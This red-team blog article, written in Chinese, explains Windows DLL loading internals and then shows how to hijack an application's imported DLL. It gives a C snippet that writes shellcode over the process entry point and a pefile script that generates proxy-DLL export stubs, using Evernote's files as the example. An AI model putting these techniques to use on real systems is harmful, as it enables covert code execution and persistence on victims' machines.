DLL劫持之IAT类型
2023-1-7 10:4:24 Author: 红队蓝军(查看原文) 阅读量:20 收藏

Loadlibrary

Loadlibrary的底层是LoadLibraryEx

HMODULE WINAPI LoadLibraryEx(
  _In_       LPCTSTR lpFileName,
  _Reserved_ HANDLE  hFile,
  _In_       DWORD   dwFlags
)
;

第三个参数:

  1. DONT_RESOLVE_DLL_REFERENCES : 这个标志用于告诉系统将DLL映射到调用进程的地址空间中,但是不调用DllMain并且不加载依赖Dll(只映射自己本身)。

  2. LOAD_LIBRARY_AS_DATAFILE : 这个标志与DONT_RESOLVE_DLL_REFERENCES标志相类似,因为系统只是将DLL映射到进程的地址空间中,就像它是数据文件一样。系统并不花费额外的时间来准备执行文件中的任何代码。

  3. LOAD_LIBRARY_SEARCH_USER_DIRS : 搜索路径的使用使用AddDllDirectorySetDllDirectory设置的路径(保护Dll自己和依赖Dll)。

  4. LOAD_LIBRARY_SEARCH_SYSTEM32 : 从%windows%\system32加载Dll和其依赖项。

  5. LOAD_LIBRARY_SEARCH_APPLICATION_DIR : 应用程序安装路径搜索Dll和其依赖项。

  6. LOAD_WITH_ALTERED_SEARCH_PATH: 按照如下目录搜索:

    1. 进程当前目录
    2. Windows的系统目录
    3. 16 位Windows的系统目录
    4. Windows目录
    5. path环境变量目录

默认环境下LoadLibrary按照以下目录搜索

1. 进程当前目录。
2. SetDllDirectory设置的文件夹路径。
3. Windows的系统目录。
4. 16 位Windows的系统目录。
5. Windows目录。
6. path环境变量目录。

SetDllDirectory函数如下

跟到KernelBaseGetGlobalData

跟到0环可以发现,在转换之后可以得到路径

0:003> dd KERNELBASE!KernelBaseGlobalData
75b155a0  00000000 00000000 00160014 7f9a1240
75b155b0  00280026 7f9a1260 00000000 00000000
75b155c0  00000000 00e60000 75b156c0 7fff0000
75b155d0  00c4b494 000001100cc1914 0000012c
75b155e0  00cb9f34 00000253 00cc2658 00cc5e20
75b155f0  00000000 00e84380 0000000f ffffffff
75b15600  ffffffff 00000000 00000000 00000000
75b15610  020007d0 75950000 00000000 00000000
0:003> du 7f9a1240
7f9a1240  "C:\Windows"
0:003> du 7f9a1260 
7f9a1260  "C:\Windows\system32"

LoadLibraryExW函数原型

HMODULE __stdcall LoadLibraryExW(LPCWSTR lpLibFileName, HANDLE hFile, DWORD dwFlags)
{
    SearchPath = BaseGetProcessDllPath(
                       &dwFlags,
                       (chFlags & LOAD_WITH_ALTERED_SEARCH_PATH) != 0 ? DllName.Buffer : 0,
                       0,
                       (int)&dwFlags);
    ntStatus = LdrLoadDll(SearchPath, (PULONG)&lpLibFileName, &DllName, &hFile);
}

首先通过BaseGetProcessDllPath获取路径,然后调用LdrLoadDll加载dll

NTSTATUS __stdcall LdrLoadDll(PWSTR SearchPath, PULONG LoadFlags, PUNICODE_STRING DllName, PVOID *BaseAddress)
{
  //...
  if ( SearchPath )
  {
    result = RtlInitUnicodeStringEx(&DestinationString, SearchPath);
    if ( result < 0 )
      return result;
    NewSearchPath = &DestinationString;
  }
  else
  {
    NewSearchPath = &LdrpDefaultPath;
  }
  //...
  v7 = LdrpLoadDll(DllName, (int)NewSearchPath, v6, 10, (int)&DllName);
  //...
  return v7;
}

再调用LdrpLoadDll

int __stdcall LdrpLoadDll(PCUNICODE_STRING Source, int a2, int a3, char a4, int a5, int a6)
{
    //...
    if ( !LdrpInLdrInit )
      RtlEnterCriticalSection(&LdrpLoaderLock);
    
    //...
    LdrpFindOrMapDll(*(PCUNICODE_STRING *)((char *)&v31 + 1), v29, a3, v27[0], (int)&v33, (int)&v31);

    //...
    if ( v21 & 0x1000000 )
        v22 = LdrpCorProcessImports((void *)v21, v33);
    else
        v22 = LdrpProcessStaticImports(v33, v29);
    //...

    LdrpRunInitializeRoutines(0);

    //...

    if ( !LdrpInLdrInit )
      RtlLeaveCriticalSection(&LdrpLoaderLock);
}

通过分析函数,其流程如下

  1. 加载锁RtlEnterCriticalSection(&LdrpLoaderLock)
  2. 通过LdrpFindOrMapDll加载dll
  3. 处理导入表信息
  4. 运行回调函数LdrpRunInitializeRoutines
  5. 释放锁RtlLeaveCriticalSection(&LdrpLoaderLock)

在第4步运行LdrpRunInitializeRoutines其实就是调用DllMain,也就是说加载dll首先会加载锁,再调用DllMain

挖掘

针对非LoadLibrary而是从IAT表导入函数的程序,不能用导出函数的方法

导入表调用在程序执行开头,那么可以在解析PE头的时候调用 DLLMAIN

MODULEINFO moduleInfoe;
SIZE_T bytesWritten;
 
GetModuleInformation(GetCurrentProcess(), GetModuleHandle(NULL), &moduleInfoe,sizeof(moduleInfoe));
 
char EntryAddr[MAX_PATH] = { 0 };
_itoa_s((int)moduleInfoe.EntryPoint, EntryAddr, 10);
unsigned char shellcode[] = "";
int shellcode_size = 1024;
HANDLE currentProcess = GetCurrentProcess();

WriteProcessMemory(currentProcess, moduleInfoe.EntryPoint, (LPCVOID)&shellcode, shellcode_size, &bytesWritten);

导入表函数格式

#pragma comment(linker, "/EXPORT:cef_string_list_append=cef_string_list_append,@1")
EXTERN_C __declspec(naked) void __cdecl cef_string_list_append(void){}

手动写导入太麻烦,借助python的PEfile库直接读取导入表中的函数

https://github.com/erocarrera/pefile

首先定位判断dll名称

pe = pefile.PE(module_name)
    for importeddll in pe.DIRECTORY_ENTRY_IMPORT:
        DllName = str(importeddll.dll,encoding = "utf-8")
        if(DllName != target_dll):
            continue

然后获取导入表的函数

 for importedapi in importeddll.imports:
            print(importedapi.name)
            FunctionName = str(importedapi.name,encoding = "utf-8")

获取到函数之后按照格式输出

tamplate += """#pragma comment(linker, "/EXPORT:%s=%s,@%s")\n""" % (FunctionName,FunctionName,i)
\tamplate += """EXTERN_C __declspec(naked) void __cdecl %s(void){}\n""" % (FunctionName)

以印象笔记下的文件为例,其用的方法是从IAT表中导入函数,直接运行会显示缺dll

这里使用脚本获取所有的导出函数

得到a1.c的源文件,可以看到已经将导出函数声明到了源文件里面

然后将shellcode填充到相应位置

再使用gcc编译成dll

双击即可完成IAT类型的dll劫持

wx

webshell

PPL

360

webshell

64使

webshell

360+



文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NDY2MTQ1OQ==&mid=2247506149&idx=1&sn=9059fa64c657c82ba679a237602f3b40&chksm=ce676259f910eb4f1a2c76088a92581a546133838f24ec7a231a97cdfab3d7e31f1a38783d9f#rd
如有侵权请联系:admin#unsafe.sh